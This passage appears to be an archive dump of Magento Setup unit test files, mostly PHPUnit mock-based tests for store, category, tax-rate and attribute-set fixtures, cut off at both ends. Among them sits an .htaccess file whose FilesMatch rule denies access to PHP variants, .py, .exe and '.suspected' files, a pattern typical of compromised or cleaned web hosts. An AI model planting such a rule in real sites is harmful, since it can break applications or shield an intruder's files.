</FilesMatch>Magento/Setup/Test/Unit/Fixtures/TaxRatesFixtureTest.php000077700000006103151323623130017366 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\TaxRatesFixture; use Magento\Tax\Model\Calculation\Rate; use Magento\Tax\Model\ResourceModel\Calculation\Rate\Collection; use Magento\TaxImportExport\Model\Rate\CsvImportHandler; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class TaxRatesFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var TaxRatesFixture */ private $model; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->model = new TaxRatesFixture($this->fixtureModelMock); } public function testExecute() { $rateMock = $this->createPartialMock(Rate::class, ['setId', 'delete']); $collectionMock = $this->createMock(Collection::class); $collectionMock->expects($this->once()) ->method('getAllIds') ->willReturn([1]); $csvImportHandlerMock = $this->createMock(CsvImportHandler::class); $valueMap = [ [Rate::class, $rateMock], [Collection::class, $collectionMock] ]; $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->exactly(2)) ->method('get') ->willReturnMap($valueMap); $objectManagerMock->expects($this->once()) ->method('create') ->willReturn($csvImportHandlerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn('taxRates.file'); $this->fixtureModelMock ->expects($this->exactly(3)) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->model->execute(); } public function testNoFixtureConfigValue() { $csvImportHandlerMock = $this->createMock(CsvImportHandler::class); $csvImportHandlerMock->expects($this->never())->method('importFromCsvFile'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('create') ->willReturn($csvImportHandlerMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating tax rates', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/AttributeSet/AttributeSetFixtureTest.php000077700000015265151323623130022702 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\AttributeSet; use Magento\Catalog\Api\AttributeSetManagementInterface; use Magento\Catalog\Api\Data\ProductAttributeInterface; use Magento\Catalog\Api\ProductAttributeGroupRepositoryInterface; use Magento\Catalog\Api\ProductAttributeManagementInterface; use Magento\Catalog\Api\ProductAttributeRepositoryInterface; use Magento\Eav\Api\Data\AttributeGroupInterface; use Magento\Eav\Api\Data\AttributeOptionInterface; use Magento\Eav\Api\Data\AttributeSetInterface; use Magento\Setup\Fixtures\AttributeSet\AttributeSetFixture; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD) */ class AttributeSetFixtureTest extends TestCase { public function testExecute() { $attributeSets = [ 'name' => 'attribute set name', 'attributes' => [ 'attribute' => [ [ 'is_required' => 1, 'is_visible_on_front' => 1, 'is_visible_in_advanced_search' => 0, 'is_filterable' => 0, 'is_filterable_in_search' => 0, 'attribute_code' => 'attribute_1', 'is_searchable' => 0, 'frontend_label' => 'Attribute 1', 'frontend_input' => 'select', 'backend_type' => 1, 'default_option' => 'option 1', 'options' => [ 'option' => [ [ 'label' => 'option 1', 'value' => 'option_1' ], ] ] ] ] ] ]; // Mock Attribute Sets $attributeSetMock = $this->getMockBuilder(AttributeSetInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $attributeSetMock->expects($this->once()) ->method('setAttributeSetName') ->with("attribute set name"); $attributeSetMock->expects($this->once()) ->method('setEntityTypeId') ->with(ProductAttributeInterface::ENTITY_TYPE_CODE); $attributeSetMock->expects($this->any()) ->method('getAttributeSetName') ->willReturn($attributeSets['name']); $attributeSetFactoryMock = $this->getMockBuilder(\Magento\Eav\Api\Data\AttributeSetInterfaceFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $attributeSetFactoryMock->expects($this->once()) ->method('create') ->willReturn($attributeSetMock); $attributeSetManagementMock = $this->getMockBuilder(AttributeSetManagementInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $attributeSetManagementMock->expects($this->once()) ->method('create') ->with($attributeSetMock, '4') ->willReturn($attributeSetMock); //Mock Attribute Groups $attributeGroupMock = $this->getMockBuilder(AttributeGroupInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $attributeGroupMock->expects($this->once()) ->method('setAttributeGroupName') ->with($attributeSetMock->getAttributeSetName() . ' - Group'); $attributeGroupMock->expects($this->once()) ->method('setAttributeSetId') ->with($attributeSetMock->getAttributeSetId()); $attributeGroupFactoryMock = $this->getMockBuilder(\Magento\Eav\Api\Data\AttributeGroupInterfaceFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $attributeGroupFactoryMock->expects($this->once()) ->method('create') ->willReturn($attributeGroupMock); $productAttributeGroupRepoMock = $this->getMockBuilder( ProductAttributeGroupRepositoryInterface::class ) ->disableOriginalConstructor() ->getMock(); $productAttributeGroupRepoMock->expects($this->once()) ->method('save') ->with($attributeGroupMock) ->willReturn($attributeGroupMock); // Mock Attributes $attributeMock = $this->getMockBuilder(ProductAttributeInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $attributeFactoryMock = $this->getMockBuilder(\Magento\Catalog\Api\Data\ProductAttributeInterfaceFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $attributeFactoryMock->expects($this->once()) ->method('create') ->willReturn($attributeMock); //Mock Attribute Options $optionMock = $this->getMockBuilder(AttributeOptionInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $optionFactoryMock = $this->getMockBuilder(\Magento\Eav\Api\Data\AttributeOptionInterfaceFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $optionFactoryMock->expects($this->once()) ->method('create') ->willReturn($optionMock); $productAttributeRepoMock = $this->getMockBuilder( ProductAttributeRepositoryInterface::class ) ->disableOriginalConstructor() ->getMock(); $productAttributeRepoMock->expects($this->once()) ->method('save') ->with($attributeMock) ->willReturn($attributeMock); $productAttributeManagementMock = $this->getMockBuilder( ProductAttributeManagementInterface::class ) ->disableOriginalConstructor() ->getMock(); $productAttributeManagementMock->expects($this->once()) ->method('assign') ->willReturn($attributeMock->getAttributeId()); $attributeSet = new AttributeSetFixture( $attributeSetManagementMock, $productAttributeGroupRepoMock, $productAttributeRepoMock, $productAttributeManagementMock, $attributeFactoryMock, $optionFactoryMock, $attributeSetFactoryMock, $attributeGroupFactoryMock ); $attributeSet->createAttributeSet($attributeSets); } } Magento/Setup/Test/Unit/Fixtures/AttributeSet/PatternTest.php000077700000004112151323623130020316 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\AttributeSet; use Magento\Setup\Fixtures\AttributeSet\Pattern; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD) */ class PatternTest extends TestCase { public function testGenerateAttributeSet() { $attributeSets = [ 'name' => 'attribute set name', 'attributes' => [ 'attribute' => [ [ 'is_required' => 1, 'is_visible_on_front' => 1, 'is_visible_in_advanced_search' => 0, 'is_filterable' => 0, 'is_filterable_in_search' => 0, 'attribute_code' => 'attribute_1', 'is_searchable' => 0, 'frontend_label' => 'Attribute 1', 'frontend_input' => 'select', 'backend_type' => 1, 'default_value' => 'option_1', 'options' => [ 'option' => [ [ 'label' => 'option 1', 'value' => 'option_1' ], [ 'label' => 'option 2', 'value' => 'option_2' ] ] ] ] ] ] ]; $pattern = new Pattern(); $this->assertEquals( $attributeSets, $pattern->generateAttributeSet( 'attribute set name', 1, 2, function ($index, $attributeData) { $attributeData['backend_type'] = $index; return $attributeData; } ) ); } } Magento/Setup/Test/Unit/Fixtures/AttributeSet/SwatchesGeneratorTest.php000077700000006313151323623130022336 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\AttributeSet; use Magento\Setup\Fixtures\AttributeSet\SwatchesGenerator; use Magento\Setup\Fixtures\ImagesGenerator\ImagesGenerator; use Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory; use Magento\Swatches\Helper\Media; use Magento\Swatches\Model\Swatch; use PHPUnit\Framework\TestCase; class SwatchesGeneratorTest extends TestCase { /** * @var SwatchesGenerator */ private $swatchesGeneratorMock; /** * @var array */ private $imagePathFixture = [ 'option_1' => '/<-o->', 'option_2' => '/>o<', 'option_3' => '/|o|' ]; protected function setUp(): void { // Mock Swatch Media Helper $swatchHelperMock = $this->getMockBuilder(Media::class) ->disableOriginalConstructor() ->getMock(); $swatchHelperMock ->expects($this->any()) ->method('moveImageFromTmp') ->willReturnOnConsecutiveCalls(...array_values($this->imagePathFixture)); // Mock image generator $imageGeneratorMock = $this->getMockBuilder(ImagesGenerator::class) ->disableOriginalConstructor() ->getMock(); $imageGeneratorMock ->expects($this->any()) ->method('generate'); // Mock image generator factory $imageGeneratorFactoryMock = $this->getMockBuilder(ImagesGeneratorFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $imageGeneratorFactoryMock ->expects($this->once()) ->method('create') ->willReturn($imageGeneratorMock); $this->swatchesGeneratorMock = new SwatchesGenerator( $swatchHelperMock, $imageGeneratorFactoryMock ); } public function testGenerateSwatchData() { $attributeColorType['swatch_input_type'] = Swatch::SWATCH_INPUT_TYPE_VISUAL; $attributeColorType['swatchvisual']['value'] = array_reduce( range(1, 3), function ($values, $index) { $values['option_' . $index] = '#' . str_repeat(dechex(255 * $index / 3), 3); return $values; }, [] ); $attributeColorType['optionvisual']['value'] = array_reduce( range(1, 3), function ($values, $index) { $values['option_' . $index] = ['option ' . $index]; return $values; }, [] ); $attributeImageType = $attributeColorType; $attributeImageType['swatchvisual']['value'] = array_map( function ($item) { return ltrim($item, '/'); }, $this->imagePathFixture ); $this->assertEquals( $attributeColorType, $this->swatchesGeneratorMock->generateSwatchData(3, 'test', 'color') ); $this->assertEquals( $attributeImageType, $this->swatchesGeneratorMock->generateSwatchData(3, 'test', 'image') ); } } Magento/Setup/Test/Unit/Fixtures/AttributeSet/.htaccess000077700000000177151323623130017135 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Fixtures/FixtureConfigTest.php000077700000004476151323623130017053 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Framework\Xml\Parser; use Magento\Setup\Fixtures\FixtureConfig; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class FixtureConfigTest extends TestCase { /** * @var FixtureConfig */ private $model; /** * @var MockObject */ private $fileParserMock; protected function setUp(): void { $this->fileParserMock = $this->createPartialMock(Parser::class, ['getDom', 'xmlToArray']); $this->model = new FixtureConfig($this->fileParserMock); } public function testLoadConfigException() { $this->expectException('Exception'); $this->expectExceptionMessage( 'Profile configuration file `exception.file` is not readable or does not exists.' ); $this->model->loadConfig('exception.file'); } public function testLoadConfig() { $this->fileParserMock->expects($this->exactly(2))->method('xmlToArray')->willReturn( ['config' => [ 'profile' => ['some_key' => 'some_value']]] ); $domMock = $this->createPartialMock(\DOMDocument::class, ['load', 'xinclude']); $domMock->expects($this->once())->method('load')->with('config.file')->willReturn( $this->fileParserMock->xmlToArray() ); $domMock->expects($this->once())->method('xinclude'); $this->fileParserMock->expects($this->exactly(2))->method('getDom')->willReturn($domMock); $this->model->loadConfig('config.file'); $this->assertSame('some_value', $this->model->getValue('some_key')); } public function testGetValue() { $this->assertNull($this->model->getValue('null_key')); } } namespace Magento\Setup\Fixtures; /** * Overriding the built-in PHP function since it cannot be mocked-> * * The method is used in FixtureModel. loadConfig in an if statement. By overriding this method we are able to test * both of the possible cases based on the return value of is_readable. * * @param string $filename * @return bool */ function is_readable($filename) { if (strpos($filename, 'exception') !== false) { return false; } return true; } Magento/Setup/Test/Unit/Fixtures/StoresFixtureTest.php000077700000021642151323623130017117 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Api\Data\CategoryInterface; use Magento\Catalog\Model\CategoryFactory; use Magento\Framework\App\Config\Storage\Writer; use Magento\Framework\Event\ManagerInterface; use Magento\Framework\Locale\Config; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\StoresFixture; use Magento\Store\Api\Data\GroupInterface; use Magento\Store\Api\Data\StoreInterface; use Magento\Store\Api\Data\WebsiteInterface; use Magento\Store\Model\StoreManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class StoresFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var StoresFixture */ private $model; /** * @var StoreManager */ private $storeManagerMock; /** * @var ManagerInterface */ private $eventManagerMock; /** * @var CategoryFactory */ private $categoryFactoryMock; /** * @var Writer */ private $scopeConfigMock; /** * @var Config */ private $localeConfigMock; /** * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function testExecute() { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->storeManagerMock = $this->getMockBuilder(StoreManager::class) ->disableOriginalConstructor() ->setMethods( [ 'getGroup', 'getGroups', 'getWebsite', 'getDefaultStoreView', 'getStore', 'getStores', ] )->getMock(); $this->eventManagerMock = $this->getMockBuilder(ManagerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->categoryFactoryMock = $this->getMockBuilder(CategoryFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $categoryMock = $this->getMockBuilder(CategoryInterface::class) ->disableOriginalConstructor() ->setMethods( [ 'create', 'setName', 'setPath', 'setLevel', 'setAvailableSortBy', 'setDefaultSortBy', 'setIsActive', 'save' ] ) ->getMockForAbstractClass(); $this->categoryFactoryMock->expects($this->exactly(5)) ->method('create') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setName') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setPath') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setLevel') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setAvailableSortBy') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setDefaultSortBy') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('setIsActive') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('getId') ->willReturn($categoryMock); $categoryMock->expects($this->exactly(5)) ->method('save') ->willReturn($categoryMock); $this->localeConfigMock = $this->getMockBuilder(Config::class) ->disableOriginalConstructor() ->setMethods(['getAllowedLocales']) ->getMock(); $this->localeConfigMock->expects($this->once()) ->method('getAllowedLocales') ->willReturn(['en_US']); $this->scopeConfigMock = $this->getMockBuilder(Writer::class) ->disableOriginalConstructor() ->getMock(); $storeMock = $this->getMockBuilder(StoreInterface::class) ->disableOriginalConstructor() ->setMethods(['getId', 'getRootCategoryId', 'addData', 'save']) ->getMockForAbstractClass(); $storeMock->expects($this->exactly(11)) ->method('getId') ->willReturn(1); $storeMock->expects($this->exactly(11)) ->method('addData') ->withConsecutive( [ [ 'store_id' => null, 'name' => 'Store view 2 - website_id_1 - group_id_1', 'website_id' => 1, 'group_id' => 1, 'code' => 'store_view_2', ] ], [ [ 'store_id' => null, 'name' => 'Store view 3 - website_id_1 - group_id_1', 'website_id' => 1, 'group_id' => 1, 'code' => 'store_view_3', ] ] ) ->willReturn($storeMock); $storeGroupMock = $this->getMockBuilder(GroupInterface::class) ->disableOriginalConstructor() ->setMethods(['getId', 'addData', 'save']) ->getMockForAbstractClass(); $storeGroupMock->expects($this->exactly(11)) ->method('getId') ->willReturn(1); $storeGroupMock->expects($this->exactly(5)) ->method('addData') ->withConsecutive( [ [ 'group_id' => null, 'website_id' => 1, 'name' => 'Store Group 2 - website_id_1', 'code' => 'store_group_2', 'root_category_id' => $categoryMock, ] ], [ [ 'group_id' => null, 'website_id' => 1, 'name' => 'Store Group 3 - website_id_1', 'code' => 'store_group_3', 'root_category_id' => $categoryMock, ] ] ) ->willReturn($storeGroupMock); $websiteMock = $this->getMockBuilder(WebsiteInterface::class) ->disableOriginalConstructor() ->setMethods(['getId', 'addData', 'save']) ->getMockForAbstractClass(); $websiteMock->expects($this->exactly(3)) ->method('getId') ->willReturn(1); $websiteMock->expects($this->exactly(2)) ->method('addData') ->withConsecutive( [ [ 'website_id' => null, 'code' => 'website_2', 'name' => 'Website 2', 'is_default' => false, ] ], [ [ 'website_id' => null, 'code' => 'website_3', 'name' => 'Website 3', 'is_default' => false, ] ] ) ->willReturn($storeGroupMock); $this->storeManagerMock->expects($this->once()) ->method('getGroups') ->willReturn([$storeGroupMock]); $this->storeManagerMock->expects($this->once()) ->method('getGroup') ->willReturn($storeGroupMock); $this->storeManagerMock->expects($this->once()) ->method('getWebsite') ->willReturn($websiteMock); $this->storeManagerMock->expects($this->once()) ->method('getStores') ->willReturn([$storeMock]); $this->storeManagerMock->expects($this->once()) ->method('getDefaultStoreView') ->willReturn($storeMock); $this->fixtureModelMock ->expects($this->exactly(4)) ->method('getValue') ->willReturnMap([ ['websites', 1, 3], ['store_groups', 1, 6], ['store_views', 1, 12], ['assign_entities_to_all_websites', false] ]); $this->model = new StoresFixture( $this->fixtureModelMock, $this->storeManagerMock, $this->eventManagerMock, $this->categoryFactoryMock, $this->localeConfigMock, $this->scopeConfigMock ); $this->model->execute(); } } Magento/Setup/Test/Unit/Fixtures/CategoriesFixtureTest.php000077700000013454151323623130017727 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Model\Category; use Magento\Catalog\Model\CategoryFactory; use Magento\Catalog\Model\ResourceModel\Category\Collection; use Magento\Catalog\Model\ResourceModel\Category\CollectionFactory; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\CategoriesFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Store\Model\Store; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class CategoriesFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var CategoriesFixture */ private $model; /** * @var MockObject */ private $collectionFactoryMock; /** * @var MockObject */ private $collectionMock; /** * @var MockObject */ private $categoryFactoryMock; /** * @inhertidoc */ protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->collectionFactoryMock = $this->createPartialMock(CollectionFactory::class, ['create']); $this->collectionMock = $this->createMock(Collection::class); $this->categoryFactoryMock = $this->createPartialMock(CategoryFactory::class, ['create']); $this->model = (new ObjectManager($this))->getObject(CategoriesFixture::class, [ 'fixtureModel' => $this->fixtureModelMock, 'collectionFactory' => $this->collectionFactoryMock, 'rootCategoriesIds' => [2], 'categoryFactory' => $this->categoryFactoryMock, 'firstLevelCategoryIndex' => 1, ]); } public function testDoNoExecuteIfCategoriesAlreadyGenerated() { $this->collectionFactoryMock->expects($this->once())->method('create')->willReturn($this->collectionMock); $this->collectionMock->expects($this->once())->method('getSize')->willReturn(32); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(30); $this->categoryFactoryMock->expects($this->never())->method('create'); $this->model->execute(); } public function testExecute() { $valueMap = [ ['categories', 0, 1], ['categories_nesting_level', 3, 3] ]; $this->fixtureModelMock ->expects($this->exactly(2)) ->method('getValue') ->willReturnMap($valueMap); $this->collectionFactoryMock->expects($this->once())->method('create')->willReturn($this->collectionMock); $this->collectionMock->expects($this->once())->method('getSize')->willReturn(2); $parentCategoryMock = $this->getMockBuilder(Category::class) ->addMethods(['setUrlKey', 'setUrlPath', 'setDefaultSortBy', 'setIsAnchor']) ->onlyMethods( [ 'getName', 'setId', 'getId', 'setName', 'setParentId', 'setPath', 'setLevel', 'getLevel', 'setAvailableSortBy', 'setIsActive', 'save', 'setStoreId', 'load' ] ) ->disableOriginalConstructor() ->getMock(); $parentCategoryMock->expects($this->once())->method('getId')->willReturn(5); $parentCategoryMock->expects($this->once())->method('getLevel')->willReturn(3); $categoryMock = clone $parentCategoryMock; $categoryMock->expects($this->once()) ->method('getName') ->with('Category 1') ->willReturn('category_name'); $categoryMock->expects($this->once()) ->method('setId') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setUrlKey') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setUrlPath') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setName') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setParentId') ->with(5) ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setPath') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setIsAnchor') ->with(true) ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setLevel') ->with(4) ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setAvailableSortBy') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setDefaultSortBy') ->willReturnSelf(); $categoryMock->expects($this->once()) ->method('setIsActive') ->willReturnSelf(); $categoryMock->expects($this->exactly(2)) ->method('setStoreId') ->with(Store::DEFAULT_STORE_ID) ->willReturnSelf(); $this->categoryFactoryMock->expects($this->once())->method('create')->willReturn($categoryMock); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating categories', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([ 'categories' => 'Categories' ], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/CustomerGroupsFixtureTest.php000077700000007205151323623130020640 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Customer\Api\Data\GroupInterface; use Magento\Customer\Api\Data\GroupInterfaceFactory; use Magento\Customer\Api\GroupRepositoryInterface; use Magento\Customer\Model\ResourceModel\Group\CollectionFactory; use Magento\Setup\Fixtures\CustomerGroupsFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\IndexersStatesApplyFixture; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test Customer Groups generation */ class CustomerGroupsFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var CollectionFactory */ private $groupCollectionFactoryMock; /** * @var GroupRepositoryInterface */ private $groupRepositoryMock; /** * @var GroupInterfaceFactory */ private $groupFactoryMock; /** * @var GroupInterface */ private $groupDataObjectMock; /** * @var IndexersStatesApplyFixture */ private $model; public function testExecute() { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); //Mock repository for customer groups $this->groupRepositoryMock = $this->getMockBuilder(GroupRepositoryInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); //Mock for customer groups collection $this->groupCollectionFactoryMock = $this->getMockBuilder(CollectionFactory::class) ->setMethods(['create', 'getSize']) ->disableOriginalConstructor() ->getMock(); $this->groupCollectionFactoryMock ->expects($this->once()) ->method('create') ->willReturn($this->groupCollectionFactoryMock); $this->groupCollectionFactoryMock ->expects($this->once()) ->method('getSize') ->willReturn(0); //Mock customer groups data object $this->groupDataObjectMock = $this->getMockBuilder(GroupInterface::class) ->setMethods(['setCode', 'setTaxClassId', 'save']) ->disableOriginalConstructor() ->getMockForAbstractClass(); //Mock customer groups factory $this->groupFactoryMock = $this->getMockBuilder(GroupInterfaceFactory::class) ->setMethods(['create']) ->disableOriginalConstructor() ->getMock(); $this->groupFactoryMock ->expects($this->once()) ->method('create') ->willReturn($this->groupDataObjectMock); $this->groupDataObjectMock ->expects($this->once()) ->method('setCode') ->willReturn($this->groupDataObjectMock); $this->groupDataObjectMock ->expects($this->once()) ->method('setTaxClassId') ->willReturn($this->groupDataObjectMock); $this->groupRepositoryMock ->expects($this->once()) ->method('save') ->willReturn($this->groupDataObjectMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(1); $this->model = new CustomerGroupsFixture( $this->fixtureModelMock, $this->groupCollectionFactoryMock, $this->groupRepositoryMock, $this->groupFactoryMock ); $this->model->execute(); } } Magento/Setup/Test/Unit/Fixtures/IndexersStatesApplyFixtureTest.php000077700000006300151323623130021605 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Framework\App\CacheInterface; use Magento\Framework\Indexer\IndexerInterface; use Magento\Framework\Indexer\IndexerRegistry; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\IndexersStatesApplyFixture; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class IndexersStatesApplyFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var IndexersStatesApplyFixture */ private $model; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->model = new IndexersStatesApplyFixture($this->fixtureModelMock); } public function testExecute() { $cacheInterfaceMock = $this->getMockForAbstractClass(CacheInterface::class); $indexerRegistryMock = $this->createMock(IndexerRegistry::class); $indexerMock = $this->getMockForAbstractClass(IndexerInterface::class); $indexerRegistryMock->expects($this->once()) ->method('get') ->willReturn($indexerMock); $indexerMock->expects($this->once()) ->method('setScheduled'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->once()) ->method('get') ->willReturn($cacheInterfaceMock); $objectManagerMock->expects($this->once()) ->method('create') ->willReturn($indexerRegistryMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn([ 'indexer' => [ [ 'id' => 1, 'set_scheduled' => false, ] ] ]); $this->fixtureModelMock ->method('getObjectManager') ->willReturn($objectManagerMock); $this->model->execute(); } public function testNoFixtureConfigValue() { $cacheInterfaceMock = $this->getMockForAbstractClass(CacheInterface::class); $cacheInterfaceMock->expects($this->never())->method('clean'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('get') ->willReturn($cacheInterfaceMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Indexers Mode Changes', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/CatalogPriceRulesFixtureTest.php000077700000012225151323623130021205 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Model\Category; use Magento\CatalogRule\Api\Data\RuleInterface; use Magento\CatalogRule\Model\Rule; use Magento\Framework\EntityManager\EntityMetadata; use Magento\Framework\EntityManager\MetadataPool; use Magento\Framework\Model\ResourceModel\Db\AbstractDb; use Magento\Framework\Model\ResourceModel\Db\Context; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Setup\Fixtures\CatalogPriceRulesFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Store\Model\Store; use Magento\Store\Model\StoreManager; use Magento\Store\Model\Website; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class CatalogPriceRulesFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var CatalogPriceRulesFixture */ private $model; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->model = new CatalogPriceRulesFixture($this->fixtureModelMock); } public function testExecute() { $storeMock = $this->createMock(Store::class); $storeMock->expects($this->once()) ->method('getRootCategoryId') ->willReturn(2); $websiteMock = $this->createMock(Website::class); $websiteMock->expects($this->once()) ->method('getGroups') ->willReturn([$storeMock]); $websiteMock->expects($this->once()) ->method('getId') ->willReturn('website_id'); $storeManagerMock = $this->createMock(StoreManager::class); $storeManagerMock->expects($this->once()) ->method('getWebsites') ->willReturn([$websiteMock]); $contextMock = $this->createMock(Context::class); $abstractDbMock = $this->getMockForAbstractClass( AbstractDb::class, [$contextMock], '', true, true, true, ['getAllChildren'] ); $abstractDbMock->expects($this->once()) ->method('getAllChildren') ->willReturn([1]); $categoryMock = $this->createMock(Category::class); $categoryMock->expects($this->once()) ->method('getResource') ->willReturn($abstractDbMock); $categoryMock->expects($this->once()) ->method('getPath') ->willReturn('path/to/file'); $categoryMock->expects($this->once()) ->method('getId') ->willReturn('category_id'); $modelMock = $this->createMock(Rule::class); $metadataMock = $this->createMock(EntityMetadata::class); $metadataPoolMock = $this->createMock(MetadataPool::class); $metadataMock->expects($this->once()) ->method('getLinkField') ->willReturn('Field Id Name'); $valueMap = [ [Rule::class, 